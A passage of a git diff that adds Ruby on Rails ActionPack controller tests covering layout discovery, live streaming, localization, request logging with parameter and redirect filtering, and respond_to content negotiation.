+ assert_equal "http://foobar.com/foo", foos_url
+
+ get "/bar"
+ assert_response :success
+ assert_equal "http://foobar.com/foo", foos_url
+ ensure
+ ActionDispatch::Integration::Session.default_url_options = self.default_url_options = original_host
+ end
+
+ test "current request path parameters are recalled" do
+ get "/foo/1"
+ assert_response :success
+ assert_equal "/foo/1/edit", url_for(:action => 'edit', :only_path => true)
+ end
+end
diff --git a/actionpack/test/controller/layout_test.rb b/actionpack/test/controller/layout_test.rb
new file mode 100644
index 0000000..34304cf
--- /dev/null
+++ b/actionpack/test/controller/layout_test.rb
@@ -0,0 +1,262 @@
+require 'abstract_unit'
+require 'rbconfig'
+require 'active_support/core_ext/array/extract_options'
+
+# The view_paths array must be set on Base and not LayoutTest so that LayoutTest's inherited
+# method has access to the view_paths array when looking for a layout to automatically assign.
+old_load_paths = ActionController::Base.view_paths
+
+ActionView::Template::register_template_handler :mab,
+ lambda { |template| template.source.inspect }
+
+ActionController::Base.view_paths = [ File.dirname(__FILE__) + '/../fixtures/layout_tests/' ]
+
+class LayoutTest < ActionController::Base
+ def self.controller_path; 'views' end
+ def self._implied_layout_name; to_s.underscore.gsub(/_controller$/, '') ; end
+ self.view_paths = ActionController::Base.view_paths.dup
+end
+
+# Restore view_paths to previous value
+ActionController::Base.view_paths = old_load_paths
+
+class ProductController < LayoutTest
+end
+
+class ItemController < LayoutTest
+end
+
+class ThirdPartyTemplateLibraryController < LayoutTest
+end
+
+module ControllerNameSpace
+end
+
+class ControllerNameSpace::NestedController < LayoutTest
+end
+
+class MultipleExtensions < LayoutTest
+end
+
+class LayoutAutoDiscoveryTest < ActionController::TestCase
+ def setup
+ super
+ @request.host = "www.nextangle.com"
+ end
+
+ def test_application_layout_is_default_when_no_controller_match
+ @controller = ProductController.new
+ get :hello
+ assert_equal 'layout_test.erb hello.erb', @response.body
+ end
+
+ def test_controller_name_layout_name_match
+ @controller = ItemController.new
+ get :hello
+ assert_equal 'item.erb hello.erb', @response.body
+ end
+
+ def test_third_party_template_library_auto_discovers_layout
+ @controller = ThirdPartyTemplateLibraryController.new
+ get :hello
+ assert_response :success
+ assert_equal 'layouts/third_party_template_library.mab', @response.body
+ end
+
+ def test_namespaced_controllers_auto_detect_layouts1
+ @controller = ControllerNameSpace::NestedController.new
+ get :hello
+ assert_equal 'controller_name_space/nested.erb hello.erb', @response.body
+ end
+
+ def test_namespaced_controllers_auto_detect_layouts2
+ @controller = MultipleExtensions.new
+ get :hello
+ assert_equal 'multiple_extensions.html.erb hello.erb', @response.body.strip
+ end
+end
+
+class DefaultLayoutController < LayoutTest
+end
+
+class StreamingLayoutController < LayoutTest
+ def render(*args)
+ options = args.extract_options!
+ super(*args, options.merge(:stream => true))
+ end
+end
+
+class AbsolutePathLayoutController < LayoutTest
+ layout File.expand_path(File.expand_path(__FILE__) + '/../../fixtures/layout_tests/layouts/layout_test')
+end
+
+class HasOwnLayoutController < LayoutTest
+ layout 'item'
+end
+
+class HasNilLayoutSymbol < LayoutTest
+ layout :nilz
+
+ def nilz
+ nil
+ end
+end
+
+class HasNilLayoutProc < LayoutTest
+ layout proc { nil }
+end
+
+class PrependsViewPathController < LayoutTest
+ def hello
+ prepend_view_path File.dirname(__FILE__) + '/../fixtures/layout_tests/alt/'
+ render :layout => 'alt'
+ end
+end
+
+class OnlyLayoutController < LayoutTest
+ layout 'item', :only => "hello"
+end
+
+class ExceptLayoutController < LayoutTest
+ layout 'item', :except => "goodbye"
+end
+
+class SetsLayoutInRenderController < LayoutTest
+ def hello
+ render :layout => 'third_party_template_library'
+ end
+end
+
+class RendersNoLayoutController < LayoutTest
+ def hello
+ render :layout => false
+ end
+end
+
+class LayoutSetInResponseTest < ActionController::TestCase
+ include ActionView::Template::Handlers
+
+ def test_layout_set_when_using_default_layout
+ @controller = DefaultLayoutController.new
+ get :hello
+ assert_template :layout => "layouts/layout_test"
+ end
+
+ def test_layout_set_when_using_streaming_layout
+ @controller = StreamingLayoutController.new
+ get :hello
+ assert_template :hello
+ end
+
+ def test_layout_set_when_set_in_controller
+ @controller = HasOwnLayoutController.new
+ get :hello
+ assert_template :layout => "layouts/item"
+ end
+
+ def test_layout_symbol_set_in_controller_returning_nil_falls_back_to_default
+ @controller = HasNilLayoutSymbol.new
+ get :hello
+ assert_template layout: "layouts/layout_test"
+ end
+
+ def test_layout_proc_set_in_controller_returning_nil_falls_back_to_default
+ @controller = HasNilLayoutProc.new
+ get :hello
+ assert_template layout: "layouts/layout_test"
+ end
+
+ def test_layout_only_exception_when_included
+ @controller = OnlyLayoutController.new
+ get :hello
+ assert_template :layout => "layouts/item"
+ end
+
+ def test_layout_only_exception_when_excepted
+ @controller = OnlyLayoutController.new
+ get :goodbye
+ assert !@response.body.include?("item.erb"), "#{@response.body.inspect} included 'item.erb'"
+ end
+
+ def test_layout_except_exception_when_included
+ @controller = ExceptLayoutController.new
+ get :hello
+ assert_template :layout => "layouts/item"
+ end
+
+ def test_layout_except_exception_when_excepted
+ @controller = ExceptLayoutController.new
+ get :goodbye
+ assert !@response.body.include?("item.erb"), "#{@response.body.inspect} included 'item.erb'"
+ end
+
+ def test_layout_set_when_using_render
+ @controller = SetsLayoutInRenderController.new
+ get :hello
+ assert_template :layout => "layouts/third_party_template_library"
+ end
+
+ def test_layout_is_not_set_when_none_rendered
+ @controller = RendersNoLayoutController.new
+ get :hello
+ assert_template :layout => nil
+ end
+
+ def test_layout_is_picked_from_the_controller_instances_view_path
+ @controller = PrependsViewPathController.new
+ get :hello
+ assert_template :layout => /layouts\/alt/
+ end
+
+ def test_absolute_pathed_layout
+ @controller = AbsolutePathLayoutController.new
+ get :hello
+ assert_equal "layout_test.erb hello.erb", @response.body.strip
+ end
+end
+
+class RenderWithTemplateOptionController < LayoutTest
+ def hello
+ render :template => 'alt/hello'
+ end
+end
+
+class SetsNonExistentLayoutFile < LayoutTest
+ layout "nofile"
+end
+
+class LayoutExceptionRaisedTest < ActionController::TestCase
+ def test_exception_raised_when_layout_file_not_found
+ @controller = SetsNonExistentLayoutFile.new
+ assert_raise(ActionView::MissingTemplate) { get :hello }
+ end
+end
+
+class LayoutStatusIsRendered < LayoutTest
+ def hello
+ render :status => 401
+ end
+end
+
+class LayoutStatusIsRenderedTest < ActionController::TestCase
+ def test_layout_status_is_rendered
+ @controller = LayoutStatusIsRendered.new
+ get :hello
+ assert_response 401
+ end
+end
+
+unless RbConfig::CONFIG['host_os'] =~ /mswin|mingw/
+ class LayoutSymlinkedTest < LayoutTest
+ layout "symlinked/symlinked_layout"
+ end
+
+ class LayoutSymlinkedIsRenderedTest < ActionController::TestCase
+ def test_symlinked_layout_is_rendered
+ @controller = LayoutSymlinkedTest.new
+ get :hello
+ assert_response 200
+ assert_template :layout => "layouts/symlinked/symlinked_layout"
+ end
+ end
+end
diff --git a/actionpack/test/controller/live_stream_test.rb b/actionpack/test/controller/live_stream_test.rb
new file mode 100644
index 0000000..34164a1
--- /dev/null
+++ b/actionpack/test/controller/live_stream_test.rb
@@ -0,0 +1,210 @@
+require 'abstract_unit'
+require 'active_support/concurrency/latch'
+
+module ActionController
+ class LiveStreamTest < ActionController::TestCase
+ class TestController < ActionController::Base
+ include ActionController::Live
+
+ attr_accessor :latch, :tc
+
+ def self.controller_path
+ 'test'
+ end
+
+ def render_text
+ render :text => 'zomg'
+ end
+
+ def default_header
+ response.stream.write "<html><body>hi</body></html>"
+ response.stream.close
+ end
+
+ def basic_stream
+ response.headers['Content-Type'] = 'text/event-stream'
+ %w{ hello world }.each do |word|
+ response.stream.write word
+ end
+ response.stream.close
+ end
+
+ def blocking_stream
+ response.headers['Content-Type'] = 'text/event-stream'
+ %w{ hello world }.each do |word|
+ response.stream.write word
+ latch.await
+ end
+ response.stream.close
+ end
+
+ def thread_locals
+ tc.assert_equal 'aaron', Thread.current[:setting]
+ tc.assert_not_equal Thread.current.object_id, Thread.current[:originating_thread]
+
+ response.headers['Content-Type'] = 'text/event-stream'
+ %w{ hello world }.each do |word|
+ response.stream.write word
+ end
+ response.stream.close
+ end
+
+ def with_stale
+ render :text => 'stale' if stale?(:etag => "123")
+ end
+
+ def exception_in_view
+ render 'doesntexist'
+ end
+
+ def exception_with_callback
+ response.headers['Content-Type'] = 'text/event-stream'
+
+ response.stream.on_error do
+ response.stream.write %(data: "500 Internal Server Error"\n\n)
+ response.stream.close
+ end
+
+ raise 'An exception occurred...'
+ end
+
+ def exception_in_exception_callback
+ response.headers['Content-Type'] = 'text/event-stream'
+ response.stream.on_error do
+ raise 'We need to go deeper.'
+ end
+ response.stream.write params[:widget][:didnt_check_for_nil]
+ end
+ end
+
+ tests TestController
+
+ class TestResponse < Live::Response
+ def recycle!
+ initialize
+ end
+ end
+
+ def build_response
+ TestResponse.new
+ end
+
+ def assert_stream_closed
+ assert response.stream.closed?, 'stream should be closed'
+ end
+
+ def capture_log_output
+ output = StringIO.new
+ old_logger, ActionController::Base.logger = ActionController::Base.logger, ActiveSupport::Logger.new(output)
+
+ begin
+ yield output
+ ensure
+ ActionController::Base.logger = old_logger
+ end
+ end
+
+ def test_set_response!
+ @controller.set_response!(@request)
+ assert_kind_of(Live::Response, @controller.response)
+ assert_equal @request, @controller.response.request
+ end
+
+ def test_write_to_stream
+ @controller = TestController.new
+ get :basic_stream
+ assert_equal "helloworld", @response.body
+ assert_equal 'text/event-stream', @response.headers['Content-Type']
+ end
+
+ def test_async_stream
+ @controller.latch = ActiveSupport::Concurrency::Latch.new
+ parts = ['hello', 'world']
+
+ @controller.request = @request
+ @controller.response = @response
+
+ t = Thread.new(@response) { |resp|
+ resp.stream.each do |part|
+ assert_equal parts.shift, part
+ ol = @controller.latch
+ @controller.latch = ActiveSupport::Concurrency::Latch.new
+ ol.release
+ end
+ }
+
+ @controller.process :blocking_stream
+
+ assert t.join
+ end
+
+ def test_thread_locals_get_copied
+ @controller.tc = self
+ Thread.current[:originating_thread] = Thread.current.object_id
+ Thread.current[:setting] = 'aaron'
+
+ get :thread_locals
+ end
+
+ def test_live_stream_default_header
+ @controller.request = @request
+ @controller.response = @response
+ @controller.process :default_header
+ _, headers, _ = @response.prepare!
+ assert headers['Content-Type']
+ end
+
+ def test_render_text
+ get :render_text
+ assert_equal 'zomg', response.body
+ assert_stream_closed
+ end
+
+ def test_exception_handling_html
+ capture_log_output do |output|
+ get :exception_in_view
+ assert_match %r((window\.location = "/500\.html"</script></html>)$), response.body
+ assert_match 'Missing template test/doesntexist', output.rewind && output.read
+ assert_stream_closed
+ end
+ end
+
+ def test_exception_handling_plain_text
+ capture_log_output do |output|
+ get :exception_in_view, format: :json
+ assert_equal '', response.body
+ assert_match 'Missing template test/doesntexist', output.rewind && output.read
+ assert_stream_closed
+ end
+ end
+
+ def test_exception_callback
+ capture_log_output do |output|
+ get :exception_with_callback, format: 'text/event-stream'
+ assert_equal %(data: "500 Internal Server Error"\n\n), response.body
+ assert_match 'An exception occurred...', output.rewind && output.read
+ assert_stream_closed
+ end
+ end
+
+ def test_exceptions_raised_handling_exceptions
+ capture_log_output do |output|
+ get :exception_in_exception_callback, format: 'text/event-stream'
+ assert_equal '', response.body
+ assert_match 'We need to go deeper', output.rewind && output.read
+ assert_stream_closed
+ end
+ end
+
+ def test_stale_without_etag
+ get :with_stale
+ assert_equal 200, @response.status.to_i
+ end
+
+ def test_stale_with_etag
+ @request.if_none_match = Digest::MD5.hexdigest("123")
+ get :with_stale
+ assert_equal 304, @response.status.to_i
+ end
+ end
+end
diff --git a/actionpack/test/controller/localized_templates_test.rb b/actionpack/test/controller/localized_templates_test.rb
new file mode 100644
index 0000000..6b02eed
--- /dev/null
+++ b/actionpack/test/controller/localized_templates_test.rb
@@ -0,0 +1,37 @@
+require 'abstract_unit'
+
+class LocalizedController < ActionController::Base
+ def hello_world
+ end
+end
+
+class LocalizedTemplatesTest < ActionController::TestCase
+ tests LocalizedController
+
+ def test_localized_template_is_used
+ old_locale = I18n.locale
+ I18n.locale = :de
+ get :hello_world
+ assert_equal "Gutten Tag", @response.body
+ ensure
+ I18n.locale = old_locale
+ end
+
+ def test_default_locale_template_is_used_when_locale_is_missing
+ old_locale = I18n.locale
+ I18n.locale = :dk
+ get :hello_world
+ assert_equal "Hello World", @response.body
+ ensure
+ I18n.locale = old_locale
+ end
+
+ def test_use_fallback_locales
+ I18n.locale = :"de-AT"
+ I18n.backend.class.send(:include, I18n::Backend::Fallbacks)
+ I18n.fallbacks[:"de-AT"] = [:de]
+
+ get :hello_world
+ assert_equal "Gutten Tag", @response.body
+ end
+end
diff --git a/actionpack/test/controller/log_subscriber_test.rb b/actionpack/test/controller/log_subscriber_test.rb
new file mode 100644
index 0000000..075347b
--- /dev/null
+++ b/actionpack/test/controller/log_subscriber_test.rb
@@ -0,0 +1,314 @@
+require "abstract_unit"
+require "active_support/log_subscriber/test_helper"
+require "action_controller/log_subscriber"
+
+module Another
+ class LogSubscribersController < ActionController::Base
+ wrap_parameters :person, :include => :name, :format => :json
+
+ class SpecialException < Exception
+ end
+
+ rescue_from SpecialException do
+ head :status => 406
+ end
+
+ before_action :redirector, only: :never_executed
+
+ def never_executed
+ end
+
+ def show
+ render :nothing => true
+ end
+
+ def redirector
+ redirect_to "http://foo.bar/"
+ end
+
+ def filterable_redirector
+ redirect_to "http://secret.foo.bar/"
+ end
+
+ def data_sender
+ send_data "cool data", :filename => "file.txt"
+ end
+
+ def file_sender
+ send_file File.expand_path("company.rb", FIXTURE_LOAD_PATH)
+ end
+
+ def with_fragment_cache
+ render :inline => "<%= cache('foo'){ 'bar' } %>"
+ end
+
+ def with_fragment_cache_and_percent_in_key
+ render :inline => "<%= cache('foo%bar'){ 'Contains % sign in key' } %>"
+ end
+
+ def with_fragment_cache_if_with_true_condition
+ render :inline => "<%= cache_if(true, 'foo') { 'bar' } %>"
+ end
+
+ def with_fragment_cache_if_with_false_condition
+ render :inline => "<%= cache_if(false, 'foo') { 'bar' } %>"
+ end
+
+ def with_fragment_cache_unless_with_false_condition
+ render :inline => "<%= cache_unless(false, 'foo') { 'bar' } %>"
+ end
+
+ def with_fragment_cache_unless_with_true_condition
+ render :inline => "<%= cache_unless(true, 'foo') { 'bar' } %>"
+ end
+
+ def with_exception
+ raise Exception
+ end
+
+ def with_rescued_exception
+ raise SpecialException
+ end
+
+ def with_action_not_found
+ raise AbstractController::ActionNotFound
+ end
+ end
+end
+
+class ACLogSubscriberTest < ActionController::TestCase
+ tests Another::LogSubscribersController
+ include ActiveSupport::LogSubscriber::TestHelper
+
+ def setup
+ super
+
+ @old_logger = ActionController::Base.logger
+
+ @cache_path = File.expand_path('../temp/test_cache', File.dirname(__FILE__))
+ @controller.cache_store = :file_store, @cache_path
+ ActionController::LogSubscriber.attach_to :action_controller
+ end
+
+ def teardown
+ super
+ ActiveSupport::LogSubscriber.log_subscribers.clear
+ FileUtils.rm_rf(@cache_path)
+ ActionController::Base.logger = @old_logger
+ end
+
+ def set_logger(logger)
+ ActionController::Base.logger = logger
+ end
+
+ def test_start_processing
+ get :show
+ wait
+ assert_equal 2, logs.size
+ assert_equal "Processing by Another::LogSubscribersController#show as HTML", logs.first
+ end
+
+ def test_halted_callback
+ get :never_executed
+ wait
+ assert_equal 4, logs.size
+ assert_equal "Filter chain halted as :redirector rendered or redirected", logs.third
+ end
+
+ def test_process_action
+ get :show
+ wait
+ assert_equal 2, logs.size
+ assert_match(/Completed/, logs.last)
+ assert_match(/200 OK/, logs.last)
+ end
+
+ def test_process_action_without_parameters
+ get :show
+ wait
+ assert_nil logs.detect {|l| l =~ /Parameters/ }
+ end
+
+ def test_process_action_with_parameters
+ get :show, :id => '10'
+ wait
+
+ assert_equal 3, logs.size
+ assert_equal 'Parameters: {"id"=>"10"}', logs[1]
+ end
+
+ def test_process_action_with_wrapped_parameters
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ post :show, :id => '10', :name => 'jose'
+ wait
+
+ assert_equal 3, logs.size
+ assert_match '"person"=>{"name"=>"jose"}', logs[1]
+ end
+
+ def test_process_action_with_view_runtime
+ get :show
+ wait
+ assert_match(/\(Views: [\d.]+ms\)/, logs[1])
+ end
+
+ def test_process_action_with_filter_parameters
+ @request.env["action_dispatch.parameter_filter"] = [:lifo, :amount]
+
+ get :show, :lifo => 'Pratik', :amount => '420', :step => '1'
+ wait
+
+ params = logs[1]
+ assert_match(/"amount"=>"\[FILTERED\]"/, params)
+ assert_match(/"lifo"=>"\[FILTERED\]"/, params)
+ assert_match(/"step"=>"1"/, params)
+ end
+
+ def test_redirect_to
+ get :redirector
+ wait
+
+ assert_equal 3, logs.size
+ assert_equal "Redirected to http://foo.bar/", logs[1]
+ end
+
+ def test_filter_redirect_url_by_string
+ @request.env['action_dispatch.redirect_filter'] = ['secret']
+ get :filterable_redirector
+ wait
+
+ assert_equal 3, logs.size
+ assert_equal "Redirected to [FILTERED]", logs[1]
+ end
+
+ def test_filter_redirect_url_by_regexp
+ @request.env['action_dispatch.redirect_filter'] = [/secret\.foo.+/]
+ get :filterable_redirector
+ wait
+
+ assert_equal 3, logs.size
+ assert_equal "Redirected to [FILTERED]", logs[1]
+ end
+
+ def test_send_data
+ get :data_sender
+ wait
+
+ assert_equal 3, logs.size
+ assert_match(/Sent data file\.txt/, logs[1])
+ end
+
+ def test_send_file
+ get :file_sender
+ wait
+
+ assert_equal 3, logs.size
+ assert_match(/Sent file/, logs[1])
+ assert_match(/test\/fixtures\/company\.rb/, logs[1])
+ end
+
+ def test_with_fragment_cache
+ @controller.config.perform_caching = true
+ get :with_fragment_cache
+ wait
+
+ assert_equal 4, logs.size
+ assert_match(/Read fragment views\/foo/, logs[1])
+ assert_match(/Write fragment views\/foo/, logs[2])
+ ensure
+ @controller.config.perform_caching = true
+ end
+
+ def test_with_fragment_cache_if_with_true
+ @controller.config.perform_caching = true
+ get :with_fragment_cache_if_with_true_condition
+ wait
+
+ assert_equal 4, logs.size
+ assert_match(/Read fragment views\/foo/, logs[1])
+ assert_match(/Write fragment views\/foo/, logs[2])
+ ensure
+ @controller.config.perform_caching = true
+ end
+
+ def test_with_fragment_cache_if_with_false
+ @controller.config.perform_caching = true
+ get :with_fragment_cache_if_with_false_condition
+ wait
+
+ assert_equal 2, logs.size
+ assert_no_match(/Read fragment views\/foo/, logs[1])
+ assert_no_match(/Write fragment views\/foo/, logs[2])
+ ensure
+ @controller.config.perform_caching = true
+ end
+
+ def test_with_fragment_cache_unless_with_true
+ @controller.config.perform_caching = true
+ get :with_fragment_cache_unless_with_true_condition
+ wait
+
+ assert_equal 2, logs.size
+ assert_no_match(/Read fragment views\/foo/, logs[1])
+ assert_no_match(/Write fragment views\/foo/, logs[2])
+ ensure
+ @controller.config.perform_caching = true
+ end
+
+ def test_with_fragment_cache_unless_with_false
+ @controller.config.perform_caching = true
+ get :with_fragment_cache_unless_with_false_condition
+ wait
+
+ assert_equal 4, logs.size
+ assert_match(/Read fragment views\/foo/, logs[1])
+ assert_match(/Write fragment views\/foo/, logs[2])
+ ensure
+ @controller.config.perform_caching = true
+ end
+
+ def test_with_fragment_cache_and_percent_in_key
+ @controller.config.perform_caching = true
+ get :with_fragment_cache_and_percent_in_key
+ wait
+
+ assert_equal 4, logs.size
+ assert_match(/Read fragment views\/foo/, logs[1])
+ assert_match(/Write fragment views\/foo/, logs[2])
+ ensure
+ @controller.config.perform_caching = true
+ end
+
+ def test_process_action_with_exception_includes_http_status_code
+ begin
+ get :with_exception
+ wait
+ rescue Exception
+ end
+ assert_equal 2, logs.size
+ assert_match(/Completed 500/, logs.last)
+ end
+
+ def test_process_action_with_rescued_exception_includes_http_status_code
+ get :with_rescued_exception
+ wait
+
+ assert_equal 2, logs.size
+ assert_match(/Completed 406/, logs.last)
+ end
+
+ def test_process_action_with_with_action_not_found_logs_404
+ begin
+ get :with_action_not_found
+ wait
+ rescue AbstractController::ActionNotFound
+ end
+
+ assert_equal 2, logs.size
+ assert_match(/Completed 404/, logs.last)
+ end
+
+ def logs
+ @logs ||= @logger.logged(:info)
+ end
+end
diff --git a/actionpack/test/controller/mime_responds_test.rb b/actionpack/test/controller/mime_responds_test.rb
new file mode 100644
index 0000000..a9c6289
--- /dev/null
+++ b/actionpack/test/controller/mime_responds_test.rb
@@ -0,0 +1,1254 @@
+require 'abstract_unit'
+require 'controller/fake_models'
+require 'active_support/core_ext/hash/conversions'
+
+class StarStarMimeController < ActionController::Base
+ layout nil
+
+ def index
+ render
+ end
+end
+
+class RespondToController < ActionController::Base
+ layout :set_layout
+
+ def html_xml_or_rss
+ respond_to do |type|
+ type.html { render :text => "HTML" }
+ type.xml { render :text => "XML" }
+ type.rss { render :text => "RSS" }
+ type.all { render :text => "Nothing" }
+ end
+ end
+
+ def js_or_html
+ respond_to do |type|
+ type.html { render :text => "HTML" }
+ type.js { render :text => "JS" }
+ type.all { render :text => "Nothing" }
+ end
+ end
+
+ def json_or_yaml
+ respond_to do |type|
+ type.json { render :text => "JSON" }
+ type.yaml { render :text => "YAML" }
+ end
+ end
+
+ def html_or_xml
+ respond_to do |type|
+ type.html { render :text => "HTML" }
+ type.xml { render :text => "XML" }
+ type.all { render :text => "Nothing" }
+ end
+ end
+
+ def json_xml_or_html
+ respond_to do |type|
+ type.json { render :text => 'JSON' }
+ type.xml { render :xml => 'XML' }
+ type.html { render :text => 'HTML' }
+ end
+ end
+
+
+ def forced_xml
+ request.format = :xml
+
+ respond_to do |type|
+ type.html { render :text => "HTML" }
+ type.xml { render :text => "XML" }
+ end
+ end
+
+ def just_xml
+ respond_to do |type|
+ type.xml { render :text => "XML" }
+ end
+ end
+
+ def using_defaults
+ respond_to do |type|
+ type.html
+ type.xml
+ end
+ end
+
+ def using_defaults_with_type_list
+ respond_to(:html, :xml)
+ end
+
+ def using_defaults_with_all
+ respond_to do |type|
+ type.html
+ type.all{ render text: "ALL" }
+ end
+ end
+
+ def made_for_content_type
+ respond_to do |type|
+ type.rss { render :text => "RSS" }
+ type.atom { render :text => "ATOM" }
+ type.all { render :text => "Nothing" }
+ end
+ end
+
+ def custom_type_handling
+ respond_to do |type|
+ type.html { render :text => "HTML" }
+ type.custom("application/crazy-xml") { render :text => "Crazy XML" }
+ type.all { render :text => "Nothing" }
+ end
+ end
+
+
+ def custom_constant_handling
+ respond_to do |type|
+ type.html { render :text => "HTML" }
+ type.mobile { render :text => "Mobile" }
+ end
+ end
+
+ def custom_constant_handling_without_block
+ respond_to do |type|
+ type.html { render :text => "HTML" }
+ type.mobile
+ end
+ end
+
+ def handle_any
+ respond_to do |type|
+ type.html { render :text => "HTML" }
+ type.any(:js, :xml) { render :text => "Either JS or XML" }
+ end
+ end
+
+ def handle_any_any
+ respond_to do |type|
+ type.html { render :text => 'HTML' }
+ type.any { render :text => 'Whatever you ask for, I got it' }
+ end
+ end
+
+ def all_types_with_layout
+ respond_to do |type|
+ type.html
+ end
+ end
+
+ def iphone_with_html_response_type
+ request.format = :iphone if request.env["HTTP_ACCEPT"] == "text/iphone"
+
+ respond_to do |type|
+ type.html { @type = "Firefox" }
+ type.iphone { @type = "iPhone" }
+ end
+ end
+
+ def iphone_with_html_response_type_without_layout
+ request.format = "iphone" if request.env["HTTP_ACCEPT"] == "text/iphone"
+
+ respond_to do |type|
+ type.html { @type = "Firefox"; render :action => "iphone_with_html_response_type" }
+ type.iphone { @type = "iPhone" ; render :action => "iphone_with_html_response_type" }
+ end
+ end
+
+ protected
+ def set_layout
+ case action_name
+ when "all_types_with_layout", "iphone_with_html_response_type"
+ "respond_to/layouts/standard"
+ when "iphone_with_html_response_type_without_layout"
+ "respond_to/layouts/missing"
+ end
+ end
+end
+
+class StarStarMimeControllerTest < ActionController::TestCase
+ tests StarStarMimeController
+
+ def test_javascript_with_format
+ @request.accept = "text/javascript"
+ get :index, :format => 'js'
+ assert_match "function addition(a,b){ return a+b; }", @response.body
+ end
+
+ def test_javascript_with_no_format
+ @request.accept = "text/javascript"
+ get :index
+ assert_match "function addition(a,b){ return a+b; }", @response.body
+ end
+
+ def test_javascript_with_no_format_only_star_star
+ @request.accept = "*/*"
+ get :index
+ assert_match "function addition(a,b){ return a+b; }", @response.body
+ end
+
+end
+
+class RespondToControllerTest < ActionController::TestCase
+ tests RespondToController
+
+ def setup
+ super
+ @request.host = "www.example.com"
+ Mime::Type.register_alias("text/html", :iphone)
+ Mime::Type.register("text/x-mobile", :mobile)
+ end
+
+ def teardown
+ super
+ Mime::Type.unregister(:iphone)
+ Mime::Type.unregister(:mobile)
+ end
+
+ def test_html
+ @request.accept = "text/html"
+ get :js_or_html
+ assert_equal 'HTML', @response.body
+
+ get :html_or_xml
+ assert_equal 'HTML', @response.body
+
+ assert_raises(ActionController::UnknownFormat) do
+ get :just_xml
+ end
+ end
+
+ def test_all
+ @request.accept = "*/*"
+ get :js_or_html
+ assert_equal 'HTML', @response.body # js is not part of all
+
+ get :html_or_xml
+ assert_equal 'HTML', @response.body
+
+ get :just_xml
+ assert_equal 'XML', @response.body
+ end
+
+ def test_xml
+ @request.accept = "application/xml"
+ get :html_xml_or_rss
+ assert_equal 'XML', @response.body
+ end
+
+ def test_js_or_html
+ @request.accept = "text/javascript, text/html"
+ xhr :get, :js_or_html
+ assert_equal 'JS', @response.body
+
+ @request.accept = "text/javascript, text/html"
+ xhr :get, :html_or_xml
+ assert_equal 'HTML', @response.body
+
+ @request.accept = "text/javascript, text/html"
+
+ assert_raises(ActionController::UnknownFormat) do
+ xhr :get, :just_xml
+ end
+ end
+
+ def test_json_or_yaml_with_leading_star_star
+ @request.accept = "*/*, application/json"
+ get :json_xml_or_html
+ assert_equal 'HTML', @response.body
+
+ @request.accept = "*/* , application/json"
+ get :json_xml_or_html
+ assert_equal 'HTML', @response.body
+ end
+
+ def test_json_or_yaml
+ xhr :get, :json_or_yaml
+ assert_equal 'JSON', @response.body
+
+ get :json_or_yaml, :format => 'json'
+ assert_equal 'JSON', @response.body
+
+ get :json_or_yaml, :format => 'yaml'
+ assert_equal 'YAML', @response.body
+
+ { 'YAML' => %w(text/yaml),
+ 'JSON' => %w(application/json text/x-json)
+ }.each do |body, content_types|
+ content_types.each do |content_type|
+ @request.accept = content_type
+ get :json_or_yaml
+ assert_equal body, @response.body
+ end
+ end
+ end
+
+ def test_js_or_anything
+ @request.accept = "text/javascript, */*"
+ xhr :get, :js_or_html
+ assert_equal 'JS', @response.body
+
+ xhr :get, :html_or_xml
+ assert_equal 'HTML', @response.body
+
+ xhr :get, :just_xml
+ assert_equal 'XML', @response.body
+ end
+
+ def test_using_defaults
+ @request.accept = "*/*"
+ get :using_defaults
+ assert_equal "text/html", @response.content_type
+ assert_equal 'Hello world!', @response.body
+
+ @request.accept = "application/xml"
+ get :using_defaults
+ assert_equal "application/xml", @response.content_type
+ assert_equal "<p>Hello world!</p>\n", @response.body
+ end
+
+ def test_using_defaults_with_all
+ @request.accept = "*/*"
+ get :using_defaults_with_all
+ assert_equal "HTML!", @response.body.strip
+
+ @request.accept = "text/html"
+ get :using_defaults_with_all
+ assert_equal "HTML!", @response.body.strip
+
+ @request.accept = "application/json"
+ get :using_defaults_with_all
+ assert_equal "ALL", @response.body
+ end
+
+ def test_using_defaults_with_type_list
+ @request.accept = "*/*"
+ get :using_defaults_with_type_list
+ assert_equal "text/html", @response.content_type
+ assert_equal 'Hello world!', @response.body
+
+ @request.accept = "application/xml"
+ get :using_defaults_with_type_list
+ assert_equal "application/xml", @response.content_type
+ assert_equal "<p>Hello world!</p>\n", @response.body
+ end
+
+ def test_with_atom_content_type
+ @request.accept = ""
+ @request.env["CONTENT_TYPE"] = "application/atom+xml"
+ xhr :get, :made_for_content_type
+ assert_equal "ATOM", @response.body
+ end
+
+ def test_with_rss_content_type
+ @request.accept = ""
+ @request.env["CONTENT_TYPE"] = "application/rss+xml"
+ xhr :get, :made_for_content_type
+ assert_equal "RSS", @response.body
+ end
+
+ def test_synonyms
+ @request.accept = "application/javascript"
+ get :js_or_html
+ assert_equal 'JS', @response.body
+
+ @request.accept = "application/x-xml"
+ get :html_xml_or_rss
+ assert_equal "XML", @response.body
+ end
+
+ def test_custom_types
+ @request.accept = "application/crazy-xml"
+ get :custom_type_handling
+ assert_equal "application/crazy-xml", @response.content_type
+ assert_equal 'Crazy XML', @response.body
+
+ @request.accept = "text/html"
+ get :custom_type_handling
+ assert_equal "text/html", @response.content_type
+ assert_equal 'HTML', @response.body
+ end
+
+ def test_xhtml_alias
+ @request.accept = "application/xhtml+xml,application/xml"
+ get :html_or_xml
+ assert_equal 'HTML', @response.body
+ end
+
+ def test_firefox_simulation
+ @request.accept = "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"
+ get :html_or_xml
+ assert_equal 'HTML', @response.body
+ end
+
+ def test_handle_any
+ @request.accept = "*/*"
+ get :handle_any
+ assert_equal 'HTML', @response.body
+
+ @request.accept = "text/javascript"
+ get :handle_any
+ assert_equal 'Either JS or XML', @response.body
+
+ @request.accept = "text/xml"
+ get :handle_any
+ assert_equal 'Either JS or XML', @response.body
+ end
+
+ def test_handle_any_any
+ @request.accept = "*/*"
+ get :handle_any_any
+ assert_equal 'HTML', @response.body
+ end
+
+ def test_handle_any_any_parameter_format
+ get :handle_any_any, {:format=>'html'}
+ assert_equal 'HTML', @response.body
+ end
+
+ def test_handle_any_any_explicit_html
+ @request.accept = "text/html"
+ get :handle_any_any
+ assert_equal 'HTML', @response.body
+ end
+
+ def test_handle_any_any_javascript
+ @request.accept = "text/javascript"
+ get :handle_any_any
+ assert_equal 'Whatever you ask for, I got it', @response.body
+ end
+
+ def test_handle_any_any_xml
+ @request.accept = "text/xml"
+ get :handle_any_any
+ assert_equal 'Whatever you ask for, I got it', @response.body
+ end
+
